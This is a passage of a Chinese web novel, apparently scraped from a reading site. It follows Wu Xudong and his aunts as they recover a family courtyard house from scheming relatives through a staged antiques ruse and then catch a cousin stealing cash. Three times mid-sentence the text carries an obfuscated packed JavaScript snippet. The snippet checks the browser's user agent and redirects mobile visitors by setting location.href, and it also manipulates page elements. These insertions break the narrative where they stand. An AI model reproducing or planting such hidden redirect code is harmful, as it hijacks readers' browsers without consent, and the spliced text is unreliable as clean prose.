最后还是恨恨地嘀咕道:“是我不想去吗?要怪怪你老子,谁让他请了那个女人!” “你说我小姑啊?” “不然呢?” “你们长辈的恩怨,干嘛拿我的婚礼来置气,真没有长辈风度。” ……吴国秀不说话了。 理亏。 确实不关小侄子的事。 叹了口气,她搡开了吴国正,扭头拽着吴旭东:“走,大姑有钱,大姑今天补偿你。” 到了大姑的住处。 吴旭东惊讶的发现,大姑是真的有钱啊。 虽然住的是两室一厅一厨一卫的标准户型,但是一整层都是她家的。 她给吴旭东介绍:“这八零一是你表姐一家住,八零二是我自己住着,八零三是你表哥一家住。” “可以啊大姑,真有钱。你是怕我找你借钱吧,所以不去我的婚礼。”吴旭东故意激她。 气得吴国秀赶紧开门,把他往里拽:“你这个没良心的,要不是大姑帮你盯着四合院,早被你二叔公一家占了去了,还用等到今天?你表哥表姐都成家了,压根不问我要钱,你就是问我拿个十万八万的我也给得起。不信等会我就带你取钱去。” “我不要,逗你玩儿呢。”吴旭东坐下了,打量了一下,挺现代化的房子。 洗衣机,冰箱,大彩电,再加一个大铁盒一样的收音机,两台落地大风扇…… 这家里的电器挺全乎的,都是国产的。 吴旭东看了眼杵在玄关干瞪眼的吴国正,起身道:“大姑,我爸惹你生气了是吧?那我赶他走了?” “别别别,你这孩子,别胡闹。”吴国秀赶紧把人往客厅拽,一边拽一边嘀咕,“真是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过吴国秀立马告诉他:“叹什么气?你姑我是吃素的?你爸前脚把东西抵押出去,我后脚就给收回来了。等着,这就给你拿去。” 什么? 还有这种好事? 这可真是他亲姑啊。 赶紧跟过去看看。 吴国秀扶着一把人字梯过来,爬上了小阁楼:“我都收起来了,一样不少。你都拿去,算我补偿给你的结婚礼物。” 吴旭东个头高,在下面托了一把。 是一个楠木箱子,上面有盖子。 打开后一看,果然是些好东西。 不过他不会鉴赏,只能问道:“现在什么行情,我问你买。” “买什么呀!都说了,补偿给你的结婚礼物。你两个姐姐要是问起来,我自然有话说。是你老子自己抵押出去的,不关你的事。”吴国秀擦了擦手,起身去厨房喝了杯水,“东东啊,我跟你说,你可别学你爸啊,给你的你就要,你两个姐姐还是你老丈人接济养大的呢,不会跟你争东西的。” “知道了姑。”吴旭东小心翼翼地拿起一个琉璃制品,完全看不懂个中门道,纯粹看个热闹。 吴国秀知道他不懂,干脆拿个小马扎坐他旁边,跟他讲起了怎么看成色,看材质,看年代…… 这小私塾一开课,姑侄两个就把吴国正丢一边儿去了。 他实在无聊,索性去厨房找了点食材出来,做饭。 真是一刻也闲不住。 勤劳得很。 吴旭东偶尔抬头看一眼,在心里悄悄拿起橡皮擦,把他爸爸的负面印象分给默默地擦去。 顾家的好男人,迂就迂一点吧,这世上没有既要又要的好事。 到了饭点,姑侄两个肚子刚开始叫唤,饭菜已经盛好了等他们了。 吴国秀叹了口气,哎,她这个弟弟。 干脆坏一点,让人恨得彻底一点就好了。 偏偏人不坏,只是不会那些弯弯绕绕的花花肠子,到头来被人利用…… 所以才气人。 吃饭的时候,吴国秀一个劲往吴国正碗里夹菜。 十几年不说话的姐弟俩,就这么化干戈为玉帛了。 不然怎么办呢,看在东东的面子上吧,吴国秀这样劝自己。 吃完饭,她看了看手表,给吴国正派了个活儿:“国美马上到,你赶紧去机场接人,我跟东东再说会儿话。” “你跟国美和好啦?”吴国正乐了,看他说什么来着,一家人嘛,哪有隔夜仇。 吴国秀翻了个白眼:“还不是为了四合院的事,赶紧的,别逼我收拾你!” 吴国正走后,吴国秀赶紧去床头柜里拿了几份举报材料出来:“安家不是有个在法院工作的表亲吗?你让他帮你看看,有这些材料够不够,我估计是够了。这四合院啊,咱得要回来,顺便把那几个贪污受贿的蛀虫一起给揪出来办了。” “大姑,这材料可靠吗?”吴旭东最烦这些违规办事的人了,如果不是这种人帮忙,他在王家沟就落不了户。 这些帮凶,全都应该抓去吃牢饭。 吴国秀拍拍他的肩膀:“当然可靠了,你大姑可不是省油的灯。我教你一招,等你小姑来了,让你小姑去闹,你都不用出手。” “怎么?” “你小姑贪财啊!你给她点好处,她肯定身先士卒,帮你去闹。而且这女人闹,可比男人去举报有效率多了。不信你看着吧。”吴国秀一副神在在的样子。 这一瞬间,吴旭东仿佛看到了一个女诸葛。 他笑了:“大姑,那给多少合适?” “两三千就行了,你小姑这人啊,就像饿急眼的鱼,你扔个淘米篓子她都要去嘬两口。两三千足够了。” 32. 做局 吴国美是个人才。 拿了好处费当然要办事。 一来便去吴仲和子女的单位闹。 她也不胡闹,而是有的放矢,直接找人家领哭。 正好她大姐未雨绸缪,已经找报社刊登了那封遗嘱。 所以吴国美买了份报纸带上,有理有据,有冤有屈,哭得那叫一个梨花带雨。 就连放狠话都格外的柔弱无助:“领导,我是个居无定所的寡妇,只有我娘家侄儿肯收留我,要是房子拿不回来,我只好去找报社哭了。” 领导都是要脸的,自家单位出了这样无耻的员工,那还得了? 精神文明单位评不评了? 年末表彰想不想要了? 当即保证会做对方的思想工作。 吴国美心满意足,走的时候说了一箩筐的好话。 “领导,就得是您这样正直的人才能当大官儿呢,我爸妈九泉之下都会保佑您的。” 千穿万穿马屁不穿。 哭完这家,便去下家。 简直日理万机。 哭完,她也不去别的地方,就在四合院斜对面的报摊那里守着,时刻留意吴仲和一家的动静。 那吴仲和原本美滋滋的住在四合院里,还提留着个鸟笼子在院子里转圈遛弯儿。 结果到了晚上饭点,儿女们一起跑过来找他诉苦。 一大家子围在一起,愁云惨雾。 其中有个干巴高瘦的男人,架着一副眼镜,一直没怎么开口说话。 等到其他人全都看向他的时候,他才推了推眼镜,道:“实在不行,把四合院卖了。只要房子不在咱们手里,他们就算再怎么闹也闹不出什么风浪来。” “能行吗?” “能行,就说咱们只是帮忙照看房子,没有强占。房子早被吴国秀卖了,吴国美跟吴国秀不和,并不知道卖房子的事,一门心思只想抢房子,为了甩开这个麻烦,吴国秀就把脏水泼在咱们身上。到时候咱们让买了房子的人出个书面声明,证明房子不在咱们手里,这就行了。”吴家栋不愧是兄弟姐妹们的主心骨。 他在家里行四,上头三个姐姐,下面一个弟弟。 不管什么大事,只要他拿主意,基本上没有办不成的。 众人讨论一番,觉得这个计划可行,当即松了口气。 只是,这买家上哪儿去找呢? 吴家栋存心想要自己占下这座四合院,便提议道:“我小舅子手里应该有点钱,不如让他先把房子买了去,反正只是为了敷衍领导。那吴国美总不能一直跟咱们耗下去,一个寡妇,谁会收留她?天天住酒店也住不起,迟早要走。等她一走,房子还归咱爸。” 结果这次,没有人开口说话。 都知道他猴精猴精的,这房子要是真到了他小舅子手上,就别想还回来了。 一时间,偌大的院子里,只有风在笑。 眼看局面僵持了下来,吴仲和只能提议:“算了,还是卖给别人吧,把钱分一分,你们各过各的日子去吧。也算是彻底摆脱了一个麻烦。” 这样也好,这下谁都没有意见了。 散会。 趴在门外偷听的吴国美赶紧撤。 赶在他们开门之前,耗子一样的蹿进了附近的小巷子里面。 愣是没人看见她。 很快,她赶去了吴国秀的住处,如此这般的学舌。 吴国正非常意外:“他们居然这么无耻?” “还有更无耻的你没见过呢。”吴国美嘀嘀咕咕,“当初我男人出事,就是他们举报的。我还是前阵子才知道的,气死我了。” “谁跟你说的?”吴国秀蹙眉,如果这是真的,那吴仲和一家简直天打雷劈。 要知道,当初国美就是因为男人出事,这才闹着要卖古董救人的。 那时候国正一家刚刚回城,身无分文,爸妈本来打算把钱接济给他的。 结果国美这边也出了事,还是人命关天的大事。 爸妈也心疼女婿,不想国美守寡,便打算把手里最后一点钱分分,兄妹俩一人一半,结果全被国美给偷走了。 后来还是不够,又闹着卖古董。 这才把爸妈气死了。 这些事一环套着一环,是想让他们家破人亡啊。 如果真是吴仲和那边做的,其心可诛。 好在他那边的子女也不是铁板一块,各有各的小算盘。 吴国美信誓旦旦:“是家梁的小姨子找我借钱,我不肯借,她就说,拿秘密换钱。姐你也知道,当初要不是人命关天,我也不至于一点钱不给我哥留。他毕竟还有那些有本事的亲戚朋友,我只有爸妈能帮忙。这些年我自己心里也过意不去,还好我哥没跟我计较。” 吴国正没说什么,确实,妹夫那边是要命的官司,所以他当时就原谅国美了。 何况他回城的时候,国美为了护着他,被打得头破血流。 亲兄妹,不该那么计较。 一旁的吴国秀将信将疑,吴家梁是吴家栋的弟弟,兄弟俩为了利益反目,背后捅刀是有可能的。 所以这事,未必是真的。 但是那一家子没一个好东西,也干得出来陷害国美男人的龌龊事儿。 于是她问到:“家梁小姨子有没有说具体是谁举报的?” 吴国美小声道:“还能是谁?吴家栋和他小舅子呗!你忘了吗,他小舅子跟我男人有仇,两人之前为了那个副主任的位置斗得不可开交。后来他小舅子因为作风问题直接被开除了,以为是我男人使的绊子,就去单位找我男人打架。我男人是个暴脾气,跟他动手之后也丢了工作。为了养家,这才不得已铤而走险……” 说到这里,吴国美哭了起来。 可怜啊,年纪轻轻守了寡,儿子从小被人嘲笑,心里扭曲不学好,也没了。 女儿更是受不了那些歧视的眼光,小小年纪跟人私奔了,再也没回来。 都是吴仲和那边的畜生们害的。 吴国秀沉默了。 吴国正也说不出话来。 只有吴旭东,问道:“有证据吗?” “那我不知道,反正这些事都对得上,如果是骗我的,编不到这么严丝合缝。”吴国美泪眼朦胧,心都碎了。 吴旭东沉思良久:“我来想想办法,反正我还要留在这里给爷爷奶奶过忌日。” “你别乱来啊东东,他们一家都是毒蛇,咬人不眨眼的!”吴国美心有余悸。 吴旭东笑笑:“放心,他们没见过我,我在暗他们在明,谁咬谁还不一定呢。” “能行吗?”吴国美心里没底,这个小侄子不过是个初出茅庐的学生,能有多少手段? 吴旭东起身,去阳台抽烟:“行不行的,你们等等就知道了。” 当天夜里,他独自一人去酒店住着。 找了个理发店,买了假发假胡子,拜托别人帮他乔装一番。 镜子里,一个异域风情的欧罗巴,逐渐有了实感。 金色卷发,络腮胡子,冷白皮无需任何修饰,足够以假乱真。 多谢周子琰给他留下的第一印象。 那天晚上,那个站台前,路灯下被风掀开的假发,足以铭记终生。 这给了他戏弄吴仲和一家人的灵感。 也要多谢老丈人送他的祛疤膏,让他自学了一段时间的日语。 简单的会话是不成问题的。 于是他给自己造了个新身份——在霓虹长大的老毛子,中俄混血,还会点中文。来内地做投资,急需一个落脚的地方。老北京的四合院就挺不错,很有中国的味道。 第二天,吴国美去四合院的时候,看到自己侄子成了个说话叽里呱啦的老外,人都傻了。 回到大姐家里,赶紧汇报情况:“姐啊,这孩子是不是傻了,自家的房子,还要他花钱买回来?这不是白白便宜了吴仲和一家人嘛?” “东东肯定有他的打算,你先别急,再等等。”吴国秀其实心里也没底。 不过不怕,他们手里有举报材料,如果打官司,就算吴仲和他们把房子卖了也没用,这房子最后还是会判给他们的。 于是她宽慰道:“起码这样房子不会落到别人手里,别怕。” 两天后,吴旭东真就把房子买回来了。 他让楚劲雄飞过来一趟,谎称是他妹夫,买下了房子。 免得被吴仲和那边的人识破他的身份。 楚劲雄简直目瞪口呆:“不是吧,你不怕我直接躲起来不把房子还给你了?” “傻了吧你,他们的产权手续是违规办的,只要我起诉,这房子你只能还给我。”吴旭东翻了个白眼,他做事能那么虎吗? 楚劲雄郁闷了:“好吧,白感动了。我还以为你会说你信得过我,结果你是算无遗策,压根不怕我开溜啊。” 吴旭东笑笑:“拆迁的事怎么样了?” “还没正式开始呢,要等拆迁办进驻城中村,测量和确认房子的面积,到时候才知道能拿多少拆迁款。”楚劲雄盯着呢,一刻不敢松懈,提醒道,“听说拆迁款有两种方案,要么按人头,要么按面积。具体哪一种还没定。要是按人头,你可就亏了。” “不可能按人头的。”城中村那屁大点地方,住了那么多人,真要是按人头,不得把开发商敲骨吸髓吗? 楚劲雄松了口气:“那就好。” “你先回去,这边需要你的时候再来。”他把产权书收好,拿了两千给楚劲雄,“算你的出差补助,别嫌少。” “哎哟,给我这么多做什么?机票也才一百多块钱。”楚劲雄没有客套,但也没有都要,只拿了五百,走了。 夜里吴旭东摘了假发和胡子,到大姑家吃饭。 吴国美看着产权书,真是心痛不已:“三万啊,东东啊,你怎么这么傻?户主还写的你朋友,万一你朋友跑了——” “不会的,跑不了。”吴国秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13683351|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底更沉得住气一些,她把产权书合上,问道,“东东啊,大姑不信你是会吃哑巴亏的人。你的计划到底是什么,最关键的一环是不是还没有使出来?” “当然。”吴旭东挑眉,小声道,“小姑,该你了。明天你继续去他们单位哭,就说爷爷奶奶还藏了古董在四合院里。” 吴国秀:“!!!好小子,你是想让他们再花大价钱把房子买回去?” “大姑聪明。”吴旭东胜券在握,提醒道,“大姑你盯着点吴家栋,他们一家的脑子全长他一个人身上了,要防着点。” 接下来几天,吴旭东故意带着铲子进四合院,再抱着古董出来。 消息传到吴家栋等人的耳朵里头,急得他们团团转。 夜里不得不在大杂院重新召开了家庭会议。 “这下亏大了,居然藏着古董啊!这么多年了,咱们怎么没有发现呢?” “是啊爸,你住进去怎么没有找找看呢?” “我找了呀,没有啊。”吴仲和郁闷死了。 也不知道他大哥怎么藏的,更不知道那个洋鬼子怎么几铲子就挖出来了。 怪了。 吴家栋没有说话,坐在一旁吞云吐雾。 等到全家人都看着他,他才碾灭烟头:“搞不好是吴国美请来演戏的,想讹咱们一笔。那古董肯定是假的。” 第二天,吴旭东继续乔装,抱着古董去找懂行的人鉴定。 很快古董圈子里就传开了,吴孟甫珍藏的宝贝重见天日了,光是一只梅瓶,估价就好几万了。 消息一传十,十传百,等到下班,吴仲和的子女们纷纷跑到四合院来闹,说什么也要把房子买回去。 可惜洋鬼子请了保镖,不让进。 只是隔着院门回话,要他们商量好一个价钱再来找。 听着院子里叮叮咣咣的挖掘声,吴仲和的子女们悔得肠子都断了。 赶紧回去共商大计。 “爸,你说咱们再加几万能把院子买回来啊?” “你们有多少?”吴仲和也急啊,急得嘴巴燎了一圈水泡。 这几天五内俱焚,都快让他折寿了。 几个子女纷纷报数,不过都藏了小心思。 有五千的说三千,有两千的说五百。 加上之前卖房的三万,勉强能凑个四万出来。 吴仲和摇摇头:“肯定不够啊,光是一只梅瓶就不止这个数了。人家老外又不是傻子。” “难道就让他继续这么挖下去?” “是啊爸,你不是还有朋友吗?想办法借点儿,实在不行凑个五万也好啊。” “你们疯了吧,都挖出古董了,人家还能卖给咱们?”吴家栋说话了,他怀疑这个事情就是一个局,一个巨大的骗局。 可惜他的姐姐和弟弟们已经羡慕到眼睛滴血了。 尤其是他弟弟吴家梁,根本听不进去。 还反问道:“兴许他挖不出来就不挖了呢?” “都挖不出来了你还买?”吴家栋翻白眼,什么蠢东西。 吴家梁却笑:“只是老外挖不出来而已,我就不信别的地方没有。再说了,我去看了,那老外只是想把院子里的树挖了,这才瞎猫碰上死耗子,挖出了宝贝,说不定房间里的地下也埋了。” 吴家栋沉默了。 不排除这个可能。 接下来两天,四合院那边果然没动静了,看来院子里的果然挖完了。 夜里一群人又聚在一起商量,该出手了。 子女们齐齐看向吴仲和:“爸,你到底借钱没有啊?” “借了。”吴仲和叹了口气,一把年纪了,还要他去借钱,子女不孝啊。 可是万一地底下还有宝贝,那不就赚大发了。 最终还是松了口:“我借了两万,加上你们的,能凑个六万。明天找那个老外把房子买回来,先别着急报六万,从三万五开始,慢慢加。” 子女们总算是眉开眼笑。 一个个的,等着发大财呢。 夜里吴家栋躺在床上,翻来覆去睡不着觉。 总觉得这事有点古怪。 这不对啊,以前他们也想砍树来着,吴国秀不让啊。 回回他们带着铁锨过去,吴国秀必定第一时间冲出来阻挠。 这次怎么没见吴国秀现身呢? 是故意做的局? 如果真是这样,那完了。 第二天一早,他便起来了,想要拦着点自己那些愚蠢的姐姐弟弟们。 结果他刚出家门,就看到吴国秀怒目圆睁,拿着跟竹棍,让他们一家赔她爸爸的古董。 吴家栋还没来得及反驳,就被一棍子敲了上来,只得尖叫一声,撒丫子开溜。 姑侄两个一个逃,一个撵,在清晨的街头,上演了一出绝佳的家庭闹剧。 而吴家栋的姐姐弟弟们,生怕晚了一步那老外又挖出什么好东西来,赶紧带上钱往四合院去了。 33. 牢饭(二更) 吴旭东这两天睡在了四合院里。 整体的线路有点老化,电风扇吹着吹着就跳闸。 幸好这边已经入秋了,夜里不吹也没事。 不过他还是想买点电线换一下。 出去打听了一下,才知道这里不比农村,自己买点电线就能整。 要不然出了事,电网的工人岂不是要倒大霉? 只能去找负责这个片区的工人来换。 吴旭东暂时没去,他想考验一下吴仲和的子女。 如果他们品行端正,自然无事发生。 如果他们心怀歹念,那就别怪他不客气了。 早起保镖出去买了早饭。 三人坐在客厅里吃饭。 两个保镖也是大姑介绍的。 一个是大表哥同学的弟弟,叫谢昌隆,今年二十五,浓眉大眼,五大三粗的,典型的北方汉子,往那一站,跟个门神一样,看着就很吓人。 一个是大姑同事家的儿子,叫柯有钱,今年二十三,小眼睛鹰钩鼻,看着就很不好惹,块头比谢昌隆小一点,但胜在膀子上的肌肉滚圆结实。 总之,有这么两个人陪着他,夜里根本不担心有小偷。 谢昌隆话少,只管闷头吃饭。 柯有钱有事求吴旭东帮忙,便特地往他身边坐了坐。 他妈妈的厂里积压了一批老式的手表卖不出去,他想帮他妈妈分忧。 不过他之前跟吴旭东还不熟,不了解这个老板的性格。 现在相处了几天下来,他发现吴旭东其实是个特别有主意的人,昨天早上便鼓起勇气问了问。 吴旭东说考虑一下,先让柯有钱回去拿样品过来。 柯有钱今天带了样品过来,便问道:“老板,之前说的那个事,你考虑得怎么样了?” “没问题。”吴旭东拍了拍脚边的黑色提包,里面鼓鼓囊囊的,都是钱。 他让他大姑去取的,五万块现钞票,全都找信用社的工作人员登记核实了号码,以防万一。 柯有钱惊呆了:“老板,你愿意帮我?” “样品带了吗?”吴旭东吃完了,擦了擦嘴。 柯有钱赶紧把样品拿出来:“带了带了,男款女款各一个。” “多少货?”吴旭东把样品接了过来,试了试,还行,用料扎实,做工精致,没问题。 柯有钱回道:“男款三千多只,女款一千二左右。” “我试试,回头你去问问你妈,是要我直接进货,自负盈亏,还是直接拿货,卖多少算多少,给我提成就行。”吴旭东自然乐意帮忙。 反正他要等爷爷奶奶的忌日,索性给自己找点事做。 也许一些二三线的城市会有市场,到时候定价亲民一点,问题不大。 老厂子的问题就出在了这里,款式老旧,跟不上时代。 国外涌入很多时兴的款式,一些花里胡哨的手表抢占了市场。 不过,这股时尚的浪潮想要影响到二三线城市甚至一些偏远的小县城,那还需要时间。 所以,可以打一个时间差,把产品卖到这些城市去。 在老北京眼里老旧的款式,在别的城里大概还是时髦货抢手货呢。 柯有钱一听,高兴坏了,只是好奇,原来卖货还有这种不同的方式呢。 吴旭东不急,让他抽空回去问问。 正说着话,吴家梁来了。 一进门便看到了摆在桌子上的梅瓶,眼睛都直了。 又注意到了吴旭东脚边的手提包,料想里面估计是卖古董的钱,急得吴家梁等人眼睛滴血。 一个个恨不得上手去抢。 可惜门口站着两个凶神恶煞的保镖,众人只得咽了咽口水。 正好吴家栋没来,吴旭东都不需要找借口了,直接问道:“你们几个能当得了你们兄弟的家吗?” 众人面面相觑,那确实当不了。 不过,昨晚都商量好的事情,应该不会有什么变卦的。 再说了,实在不行,那就他们四家买呗,不带吴家栋一起发财了。 反正他们老子借了两万,房子之前卖了三万,这两样加起来已经五万了。 其他四家怎么着也能凑个五千块钱。 于是这几个蠢货信誓旦旦,说他们自己买。 吴旭东咬死了不卖,他们便一路把价钱抬到了五万五。 吴旭东还是不肯,那吴家梁矮矮瘦瘦的,三白眼里看不到多少智慧,一时着急,嚷了一声六万。 这下他的姐姐们急了。 六万?剩下五千谁出? 总不能让她们出吧? 她们已经嫁人了,经济大权不是男人握着就是婆婆握着,自己做不了主的呀。 一时吵成一团,谁也不肯再多出一分钱了。 气得吴家梁放了狠话:“好好好,你们不出,那我自己出,我就不信我借不来五千块钱!” 说罢要走。 吴旭东赶紧操着一口蹩脚的汉语喊道:“等等。” 吴家梁以为他改主意了,兴奋的扭头回来,问道:“怎么?” “这里的线路有点老化,你们可以帮我找个人换一下吗?”吴旭东说着打开了脚下的提包,从里面取出两张簇新的百元大钞,“钱不是问题,只要能帮我换好就行。” 吴家梁自打进门就怀疑里面是钱。 现在可算是看清楚了,真的是钱,钱啊!全是钱! 一捆一捆的,码放得整整齐齐! 一定是卖古董的钱! 这个洋鬼子,简直撞上财神了,随随便便买了套院子,随随便便一挖就有古董。 他怎么没有这样的好运气呢? 吴家梁又是着急,又是生气,又羡慕又悔恨,那表情精彩极了。 吴旭东把钱递给他:“你们报的价钱还是有点低,十万的话也许我会考虑。其实我不想卖,住在这里真的很舒服,我很喜欢。” 吴家梁狠狠地咽了咽口水,拿着两百块钱出去了。 三个姐姐也追了出来,吴仲和一步三回头,恨不得把眼睛抠下来黏在那个黑色提包上面。 一家子到了外面,一个个懊恼不已。 这个埋怨吴仲和蠢,住进去都没找到古董。 那个埋怨吴家栋坏了大事,大家都到齐了,偏偏他没来。 就这么,一家子吵吵嚷嚷的走了。 然而平时最聒噪的吴家梁,今天却格外的安静。 他在想,十万,十万啊,要再借四万五才够。 不过…… 那个黑色提包那么大,里面的钱肯定不止四万五。 要是能偷出来就好了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687498|143737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 对,偷出来! 反正电工是他小姨子的男人,给点好处费,让他借口缺了五金配件,把那个洋鬼子和保镖支开,不就有机会进去偷钱了。 至于会不会牵连小姨子的男人,那倒不用担心,咬死了没看到,再多给点钱就是了。 不过,万一洋鬼子本人不好支开呢? 哎,有了! 马上中秋了,电视台会彩排文艺演出,地方上也有文工团的汇演,以及一些民间艺术团的演出。 正好这个洋鬼子是个中国迷,到时候邀请他去观看彩排,肯定不会推辞的。 对,就这样! 吴家梁想到这里,激动得加快了脚步,飞快往单位去了。 买房子再重要,也不能随随便便旷工,至于看演出,请个假就是。 等会下班了,得赶紧找他发小打听一下。 * 吴旭东刚吃完午饭,吴家梁来了。 带着小姨子的男人,一个穿着电工制服,中等身材的黑皮。 吴旭东已经把黑色提包放进了里面的屋里。 至于客厅里的梅瓶,则用一个帆布包装着,带出去找人掌掌眼。 吴家梁热情的发出邀请,要带他去看中秋文艺汇演的彩排。 吴旭东留下保镖看家,带上那只梅瓶,跟着吴家梁出去了。 路上吴家梁好奇:“你带着这个古董做什么?不怕被人抢走啊。” 吴旭东操着蹩脚的口音,道:“我的古董都卖完了,还剩这个,我准备找个大老板,卖个好价钱。” 吴家梁羡慕得眼睛滴血。 刚到演播厅,便借口肚子疼,出去了。 吴旭东这次出来带了周子琰的大哥大,他怀疑吴家梁没憋好屁,赶紧给大姑去了个电话,让她帮忙盯着点。 万一吴家梁铤而走险,抓他个人赃并获就省事了。 挂断电话,下一个彩排的是文工团的节目。 看到那些穿着军装的女兵,吴旭东下意识想到自己老婆。 好几天没见到琰琰了,也不知道她在水底下顺不顺利。 一定很憋闷吧,他坐个电梯都会难受。 在幽闭空间里待长了,一定挺压抑挺不舒服的。 不由得心疼起来。 * 四合院。 电工借口忘带梅花起子,让谢昌隆去买。 柯有钱机灵,怀疑电工跟吴家梁串通了,便故意说自己肚子疼,钻进了厕所。 这时吴家梁鬼鬼祟祟的钻了进来,像个鬼影子一样蹿进房间,拿起黑色提包就跑。 柯有钱就在厕所里听着呢,恰到好处的出来,看到吴家梁的背影,大喊一声抓小偷啊,追了上去。 那吴家梁什么时候见过这么多钱,又是激动又是害怕,专挑小巷子往家跑。 正跑着,遇上了堵在必经之路的吴国秀,暗叫一声糟糕,扭头便往相反的方向跑去。 那边可是派出所,吴国秀冷笑一声,一切就看国美的了。 可怜吴家梁,一着急就慌了神,压根没有注意自己正在自投罗网。 刚跑到派出所后面的路上,就被吴国美撞上了。 正好柯有钱追了过来,她立马死死地摁住吴家梁,两人合作,连着地上的黑色提包一起,把人送到了派出所。 34. 赚钱 吴家梁被抓了。 吴仲和等人收到消息的时候,根本不敢相信。 还怀疑是人家诬告。 一大家子,气势汹汹的来派出所伸冤。 还想找点关系,把人捞出来。 结果一问,人赃并获,证据确凿,盗窃金额:四万九千八。 这下完了,毫无疑问,这属于“数额巨大”,甚至是“数额特别巨大”。 数额巨大,量刑标准为三年以上十年以下。 数额特别巨大,量刑标准为十年以上或者无期徒刑。 吴仲和气得血压飙升。 家梁自己作死就算了,可别害了家里的孩子们呀。 以后年轻的一代还怎么捧起铁饭碗? 家里有门道的一些工作都别想了。 造孽啊,造孽。 吴仲和气得直跺脚,嚷嚷了两声,忽然身体一僵,直愣愣地向身后倒去。 还好有个女婿也来了,赶紧把人背起来,打了个出租车把他送去了医院。 一番折腾,命是救回来了,人却歪了半边脸,斜眼歪嘴的,不但不能说话了,日常生活都成了问题。 吴家栋被吴国秀盯了一天,半点自由没有,好容易熬到吴国秀回家了,这才赶了过来。 他拦住医生,沉着脸问这是怎么了。 “中风,偏瘫。”医生也无能为力,只能劝这些子女多点耐心,回去后尽心照顾吧。 这下完了,姐弟几个都没有退休呢,年轻的一辈不是在上学就是在上班,谁来照顾? 总不能不工作了不挣钱吧? 几个人赶紧商量了一下,索性就让吴仲和一个人在家躺着。 五家轮流照顾,早上上班之前喂一顿饭,中午回来端屎把尿,上班之前再喂一顿,晚上回来继续。 从大姐开始,一家一家按顺序来。 那吴家梁的老婆矮矮胖胖的,哭得眼睛都肿了,小眼睛像被胶水糊上了,怎么也睁不开。 她一抽一抽的问道:“那四合院还买吗?” “买个屁!我今天早上就觉得不对劲,搞不好是别人做局坑咱们的!我想去提醒你们,结果被吴国秀撵着打,一路把我轰到了单位门口,只好上班去了。下了班她又在单位门口蹲我,害我只能回家吃饭。现在我可算是知道她抽的哪门子风了,就是怕我阻止你们买房子。”吴家栋全都明白了。 他一向心思深沉,脑子也活泛,稍微一梳理,自然眼明心亮。 然而越是这样,大家越是明白,这次踢到铁板了,斗不过啊。 那可是吴国秀,退休了无所畏惧。 所有人都不吱声了,只剩叹息。 最后,一个声音弱弱的问道:“那就便宜了那个洋鬼子吗?那么多古董。” 吴家栋叼了根烟,没回答。 他暂时也没有更好的办法,只能把那三万块钱拿出来五家分了,走一步看一步吧。 当务之急,还是先弄清楚,那个洋鬼子跟吴国秀是不是一伙儿的。 于是家庭会议结束之后,他便独自一人往吴国秀的小区赶来。 * 吴旭东没有看完彩排就退场了。 他得回去,跟大姑一起去派出所认领那一包现金。 姑侄俩收拾收拾,带上了之前记录钞票编号的本子。 临走时,吴国秀接了一通电话。 医院的朋友打来的,说吴仲和瘫了。 她笑了,幸灾乐祸:“活该!我早说了,他们凭什么笑话你爸爸混得不好,换了他们自己,整天围着一个需要端屎把尿的人打转,不疯就不错了,还混什么混。现在好了,让他们好好体验一把吧。该!” 吴旭东也乐了,瘫了好,瘫了就不能作妖了。 那一脉几十口人,就只有吴家栋难缠一点。 今后只要打起精神对付他一个就行。 当务之急,还是先去派出所把钱拿回来。 为了解释为什么吴国秀取的钱在吴旭东手上,他给吴国秀打了个借款的欠条。 随后戴上假发,贴上假胡子,留下吴国正一个人看家。 姑侄俩有说有笑的出了小区,在门口打了个出租车。 车子走后,吴家栋从小区门口的绿化带后现身。 他握紧了拳头,骂了句脏话,转身回去了。 不巧,这一幕被吴旭东从后视镜里看到了,赶紧提醒了一下吴国秀:“他好像发现了。” “那就别戴假发了,反正到了派出所,你得登记真实姓名。”吴国秀不喜欢他这个样子,真的很像洋鬼子。 吴旭东摘了假发,撕了假胡须,问道:“他要是知道了,会不会找你麻烦?” 毕竟吴旭东过几天就走了,大姑却住在这里,甩不脱的。 吴国秀像是听到了什么笑话:“我会怕他?我都退休了,他还要保住饭碗呢,光脚的不怕穿鞋的,谁怕谁啊。这事你不用管了,赶紧起诉,让他们赔钱。” “嗯。”既然他亮出真实身份,那么吴家栋等人必定不会再买那房子了。 只能起诉。 按照目前的法律,要么判楚劲雄获得房子,吴家栋等人把三万块赔偿给吴旭东;要么判交易无效,房子归吴旭东,三万块赔偿给楚劲雄。 不管是哪一种结果,房子都在自己人手里。 姑侄俩去派出所领了钱,跟吴国美,柯有钱一起回了四合院。 说真的,吴国美也怀疑四合院里还藏着古董。 不过她转了一圈,没敢吭声。 一来她当初已经拿了挺多东西了,二来,爸妈确实是被她气死的。 这些年没了爸妈做靠山,她吃了太多亏,已经不像以前那么没有眼力见儿了,更何况,明天是她老子的忌日。 她要是这个时候提出古董相关的话题,只会被大姐臭骂一顿撵出去。 所以她只是坐在客厅里,默默打量着故居。 